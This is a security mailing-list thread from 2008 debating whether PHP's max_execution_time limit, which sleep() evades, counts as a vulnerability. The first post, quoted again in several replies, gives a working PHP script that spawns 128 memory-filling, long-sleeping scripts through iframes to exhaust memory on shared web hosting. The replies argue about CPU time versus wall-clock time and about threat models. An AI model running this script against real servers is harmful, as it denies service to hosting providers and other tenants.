Onderwerp: function sleep() in all versions of PHP

There is a quite big problem with sleep() function in php,
The max_execution_time set to 60sec. in safe mode can be easy passed by using sleep() funcion, for example this script:
<?php
sleep(9999999);
echo 'Hello World';
?>
Will print hello world after 9999999 seconds... so max_execution_time simply dosnt work :P Why? we can find in manual:
"max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), stream operations, database queries, etc. is not included when determining the maximum time that the script has been running."
including sleep() :P
We can use this vuln to run out memory on web/php hosting:
<?php
if (!file_exists('./temp')) (@mkdir("/temp", 0777))? $temp='temp/':
$temp='';
else $temp='temp/';
for($n=0;$n<128;$n++) {
$rand = mt_rand();
$fp = fopen("$temp$rand.php", 'w+');
fwrite($fp, '<?php while(memory_get_usage()<16000000) $a.=\'X\'; sleep(999999999); ?>');// for 16mb memory limit
fclose($fp);
echo "<iframe src=\"$temp$rand.php\" name=$n width=\"10\" height=\"10\"></iframe>";
}
?>

This vulnerability is not per se a vulnerability but a annoyance that
has been dealt with in many ways.

It is quite common to not let any process on a web server run longer
then a specified time. This is usually made possible by some trivial
shell scripting that checks the running time of certain processes.

This annoyance is also not limited to PHP. Any scripting language that
has the ability to execute something with the means of system() can
create and call a script that uses memory and waits indefinitely.

This is also an annoyance that will not be seen as a bug or will be
"fixed" because it would leave the language almost useless. Although
some do attempt to fix this by disabling all possible functions that can
execute something like exec, system, eval, etc. but it is not limited to
that. The same long wait can be achieved with fsockopen or any other
stream function like fread, fwrite, etc. Even if your wait is limited to
60 seconds you can just repeat it in a simple loop and still maintain
the very low actual cpu time usage.

This is and has never been a security hole or threat. It will also never
be. It is just an annoyance for which many solutions are already available.

Greetings,

Mark Sanders.

gogulas@wp.pl wrote:
> There is a quite big problem with sleep() function in php,
> The max_execution_time set to 60sec. in safe mode can be easy passed by using sleep() funcion, for example this script:
> <?php
> sleep(9999999);
> echo 'Hello World';
> ?>
> Will print hello world after 9999999 seconds... so max_execution_time simply dosnt work :P Why? we can find in manual:
> "max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), stream operations, database queries, etc. is not included when determining the maximum time that the script has been running."
> including sleep() :P
> We can use this vuln to run out memory on web/php hosting:
> <?php
> if (!file_exists('./temp')) (@mkdir("/temp", 0777))? $temp='temp/':
> $temp='';
> else $temp='temp/';
> for($n=0;$n<128;$n++) {
> $rand = mt_rand();
> $fp = fopen("$temp$rand.php", 'w+');
> fwrite($fp, '<?php while(memory_get_usage()<16000000) $a.=\'X\'; sleep(999999999); ?>');// for 16mb memory limit
> fclose($fp);
> echo "<iframe src=\"$temp$rand.php\" name=$n width=\"10\" height=\"10\"></iframe>";
> }
> ?>
>
>
>
>
>

Mark Sanders escribió:
> This vulnerability is not per se a vulnerability but a annoyance that
> has been dealt with in many ways.
>
> It is quite common to not let any process on a web server run longer
> then a specified time. This is usually made possible by some trivial
> shell scripting that checks the running time of certain processes.
>
> This annoyance is also not limited to PHP. Any scripting language that
> has the ability to execute something with the means of system() can
> create and call a script that uses memory and waits indefinitely.
>
> This is also an annoyance that will not be seen as a bug or will be
> "fixed" because it would leave the language almost useless. Although
> some do attempt to fix this by disabling all possible functions that
> can execute something like exec, system, eval, etc. but it is not
> limited to that. The same long wait can be achieved with fsockopen or
> any other stream function like fread, fwrite, etc. Even if your wait
> is limited to 60 seconds you can just repeat it in a simple loop and
> still maintain the very low actual cpu time usage.
>
> This is and has never been a security hole or threat. It will also
> never be. It is just an annoyance for which many solutions are already
> available.

Which are the avalaible solutions ?

Thanks.

Mark,
I agree with you that this is a known issue, and that there are ways
around it, however I would in fact call it a vulnerability.

The reasoning behind this is behind the definition of vulnerability,
and here is a good one:
"a weakness in a system allowing unauthorized action [(NRC91:301;
Amo94:2) Sandia] A flaw or weakness in a system's design,
implementation, or operation and management that could be exploited to
violate the system's security policy. ..."
[http://www.terena.org/activities/tf-...my_terms.html]

In this case a security policy has been designated with the
"max_execution_time" directive and that policy is being violated by
the blocking code. As you say there are ways around this, (kill
script, resource limiting, etc..) however there can be similar
mitigating circumstances in any situation where you have a
vulnerability (firewall, executable stack protection, etc..).

As with any vulnerability it is the vendor's responsibility to provide
a fix and protect it's users. Many web developers or administrators
may not know of this issue, and therefore will not be providing a mitigation.

I am of the opinion that PHP (As PHP (not Apache) is the one providing
the "max_execution_time" directive) should automatically interrupt any
processes in the process tree from the current script execution to
avoid violation of the directive.


On Mon, May 26, 2008 at 4:44 PM, Mark Sanders <mark@cyanox.nl> wrote:
> This vulnerability is not per se a vulnerability but a annoyance that has
> been dealt with in many ways.
>
> It is quite common to not let any process on a web server run longer then a
> specified time. This is usually made possible by some trivial shell
> scripting that checks the running time of certain processes.
>
> This annoyance is also not limited to PHP. Any scripting language that has
> the ability to execute something with the means of system() can create and
> call a script that uses memory and waits indefinitely.
>
> This is also an annoyance that will not be seen as a bug or will be "fixed"
> because it would leave the language almost useless. Although some do attempt
> to fix this by disabling all possible functions that can execute something
> like exec, system, eval, etc. but it is not limited to that. The same long
> wait can be achieved with fsockopen or any other stream function like fread,
> fwrite, etc. Even if your wait is limited to 60 seconds you can just repeat
> it in a simple loop and still maintain the very low actual cpu time usage.
>
> This is and has never been a security hole or threat. It will also never be.
> It is just an annoyance for which many solutions are already available.
>
> Greetings,
>
> Mark Sanders.
>
> gogulas@wp.pl wrote:
>>
>> There is a quite big problem with sleep() function in php, The
>> max_execution_time set to 60sec. in safe mode can be easy passed by using
>> sleep() funcion, for example this script:
>> <?php
>> sleep(9999999);
>> echo 'Hello World';
>> ?>
>> Will print hello world after 9999999 seconds... so max_execution_time
>> simply dosnt work :P Why? we can find in manual:
>> "max_execution_time only affect the execution time of the script itself.
>> Any time spent on activity that happens outside the execution of the script
>> such as system calls using system(), stream operations, database queries,
>> etc. is not included when determining the maximum time that the script has
>> been running."
>> including sleep() :P
>> We can use this vuln to run out memory on web/php hosting:
>> <?php
>> if (!file_exists('./temp')) (@mkdir("/temp", 0777))? $temp='temp/':
>> $temp='';
>> else $temp='temp/';
>> for($n=0;$n<128;$n++) {
>> $rand = mt_rand();
>> $fp = fopen("$temp$rand.php", 'w+');
>> fwrite($fp, '<?php while(memory_get_usage()<16000000) $a.=\'X\';
>> sleep(999999999); ?>');// for 16mb memory limit
>> fclose($fp);
>> echo "<iframe src=\"$temp$rand.php\" name=$n width=\"10\"
>> height=\"10\"></iframe>";
>> }
>> ?>
>>
>>
>>
>>
>>
>
>



--

Charles Morris
cmorris@cs.odu.edu,
cmorris@occs.odu.edu

Network Security Administrator,
Software Developer

Office of Computing and Communications Services,
CS Systems Group Old Dominion University
http://www.cs.odu.edu/~cmorris

max_execution_time is *CPU EXECUTION* time and not
*WALL-CLOCK* time -- reread the definition from the PHP man pages.
Since you are doing sleep() in the script, which is suspending the
process (script), no CPU time is accruing for that process (script),
therefore you do not hit the max_execution_time. This is completely
working as intended and is consistent with a Unix/Posix model. Now,
if you want a wall-clock alarm/termination, that is a completely
different issue and should be handled via a different mechanism, don't
confuse the two.

-Michael

On Tue, 27 May 2008, Charles Morris wrote:
|> Mark,
|> I agree with you that this is a known issue, and that there are ways
|> around it, however I would in fact call it a vulnerability.
|>
|> The reasoning behind this is behind the definition of vulnerability,
|> and here is a good one:
|> "a weakness in a system allowing unauthorized action [(NRC91:301;
|> Amo94:2) Sandia] A flaw or weakness in a system's design,
|> implementation, or operation and management that could be exploited to
|> violate the system's security policy. ..."
|> [http://www.terena.org/activities/tf-...my_terms.html]
|>
|> In this case a security policy has been designated with the
|> "max_execution_time" directive and that policy is being violated by
|> the blocking code. As you say there are ways around this, (kill
|> script, resource limiting, etc..) however there can be similar
|> mitigating circumstances in any situation where you have a
|> vulnerability (firewall, executable stack protection, etc..).
|>
|> As with any vulnerability it is the vendor's responsibility to provide
|> a fix and protect it's users. Many web developers or administrators
|> may not know of this issue, and therefore will not be providing a mitigation.
|>
|> I am of the opinion that PHP (As PHP (not Apache) is the one providing
|> the "max_execution_time" directive) should automatically interrupt any
|> processes in the process tree from the current script execution to
|> avoid violation of the directive.
|>
|>
|> On Mon, May 26, 2008 at 4:44 PM, Mark Sanders <mark@cyanox.nl> wrote:
|> > This vulnerability is not per se a vulnerability but a annoyance that has
|> > been dealt with in many ways.
|> >
|> > It is quite common to not let any process on a web server run longer then a
|> > specified time. This is usually made possible by some trivial shell
|> > scripting that checks the running time of certain processes.
|> >
|> > This annoyance is also not limited to PHP. Any scripting language that has
|> > the ability to execute something with the means of system() can create and
|> > call a script that uses memory and waits indefinitely.
|> >
|> > This is also an annoyance that will not be seen as a bug or will be "fixed"
|> > because it would leave the language almost useless. Although some do attempt
|> > to fix this by disabling all possible functions that can execute something
|> > like exec, system, eval, etc. but it is not limited to that. The same long
|> > wait can be achieved with fsockopen or any other stream function like fread,
|> > fwrite, etc. Even if your wait is limited to 60 seconds you can just repeat
|> > it in a simple loop and still maintain the very low actual cpu time usage.
|> >
|> > This is and has never been a security hole or threat. It will also never be.
|> > It is just an annoyance for which many solutions are already available.
|> >
|> > Greetings,
|> >
|> > Mark Sanders.
|> >
|> > gogulas@wp.pl wrote:
|> >>
|> >> There is a quite big problem with sleep() function in php, The
|> >> max_execution_time set to 60sec. in safe mode can be easy passed by using
|> >> sleep() funcion, for example this script:
|> >> <?php
|> >> sleep(9999999);
|> >> echo 'Hello World';
|> >> ?>
|> >> Will print hello world after 9999999 seconds... so max_execution_time
|> >> simply dosnt work :P Why? we can find in manual:
|> >> "max_execution_time only affect the execution time of the script itself.
|> >> Any time spent on activity that happens outside the execution of the script
|> >> such as system calls using system(), stream operations, database queries,
|> >> etc. is not included when determining the maximum time that the script has
|> >> been running."
|> >> including sleep() :P
|> >> We can use this vuln to run out memory on web/php hosting:
|> >> <?php
|> >> if (!file_exists('./temp')) (@mkdir("/temp", 0777))? $temp='temp/':
|> >> $temp='';
|> >> else $temp='temp/';
|> >> for($n=0;$n<128;$n++) {
|> >> $rand = mt_rand();
|> >> $fp = fopen("$temp$rand.php", 'w+');
|> >> fwrite($fp, '<?php while(memory_get_usage()<16000000) $a.=\'X\';
|> >> sleep(999999999); ?>');// for 16mb memory limit
|> >> fclose($fp);
|> >> echo "<iframe src=\"$temp$rand.php\" name=$n width=\"10\"
|> >> height=\"10\"></iframe>";
|> >> }
|> >> ?>

Charles Morris wrote:

> I agree with you that this is a known issue, and that there are ways
> around it, however I would in fact call it a vulnerability.

That depends upon your threat model.

If you are treating max_execution_time as protection against malicious
scripts, then it's a vulnerability, and not one which is easily fixed.

OTOH, if you merely consider it a precaution against "runaway"
scripts, which aren't actively trying to evade such constraints, then
it's just a limitation (and, AFAICT, an intentional one, i.e. it's
only intended to limit CPU usage).

> I am of the opinion that PHP ... should automatically interrupt any
> processes in the process tree from the current script execution

That's easier said than done, particularly if you are trying to
protect against malicious scripts.

A child which is trying to evade such termination can fork() and have
the parent exit. This will leave a gap in the chain of parent/child
relationships, so it can no longer be traced back to the original
child process. Even if PHP runs each child in a separate process group
or session, the child can just move itself to a new process group or
session.

Almost anything which is inherited across a fork() can be discarded or
changed. The things which can't (UID, GIDs, chroot, etc) would need
root privilege to initialise.

Essentially, once PHP has spawned a child, it's control over the child
and its descendents is limited to whatever features the kernel
provides. If you limit yourself to bare-bones POSIX (no capabilities,
or extensions such as SELinux or RSBAC), the set of features is rather
lacking in this regard.

--
Glynn Clements <glynn@gclements.plus.com>

> From: charlesmorris@gmail.com
> [mailto:charlesmorris@gmail.com] On Behalf Of Charles Morris
> Sent: Tuesday, 27 May, 2008 13:14
>
> The reasoning behind this is behind the definition of
> vulnerability, and here is a good one:
> "a weakness in a system allowing unauthorized action [(NRC91:301;
> Amo94:2) Sandia] A flaw or weakness in a system's design,
> implementation, or operation and management that could be
> exploited to violate the system's security policy. ..."

That definition, however useful it may be in some contexts, is
sufficiently broad that it can be used to argue that essentially any
affordance is a vulnerability.

For example: password-based login systems enforce security using secrets
held by humans, and we know humans are inherently unreliable, so
password-based login systems are a vulnerability.

That's true (and indeed password-based login has been widely critiqued
as a really lousy authentication mechanism), but in itself it's a vapid
observation.

> In this case a security policy has been designated with the
> "max_execution_time" directive and that policy is being
> violated by the blocking code.

No, it is not, since "execution time" here is defined as CPU time. This
"vulnerability" report is factually incorrect, as well as pointless.

> As with any vulnerability it is the vendor's responsibility
> to provide a fix and protect it's users.

No, it is not. My desktop machine, as supplied by the vendor, was
vulnerable to the dreaded "power failure" denial of service attack. Was
it Dell's responsibility to supply me with a UPS? (And what if the UPS
battery fails? Maybe Dell should be required to provide me with a
guaranteed unlimited supply of electricity.)

> I am of the opinion that PHP (As PHP (not Apache) is the one
> providing the "max_execution_time" directive) should
> automatically interrupt any processes in the process tree
> from the current script execution to avoid violation of the directive.

You're proposing the subsystem implement an asynchronous watchdog that
uses some as-yet-unspecified, platform-dependent mechanism to terminate
processes out of band, with no recovery? Nothing could possibly go wrong
with *that*.

Let me see if I have this straight. The threat is that an attacker can
get PHP running on a server to make a sleep() call with a large
argument, and thus consume resources. The solution is a fragile,
unpredictable, arbitrary hack.

I'd say the attacker's already won - a good trick, since this
hypothetical attacker doesn't even exist.

A better question might be: just what branch of the attack tree are you
trying to prune? If your attacker can run arbitrary PHP code on your
server, why would he waste time with this sleep() nonsense?

--
Michael Wojcik
Principal Software Systems Developer, Micro Focus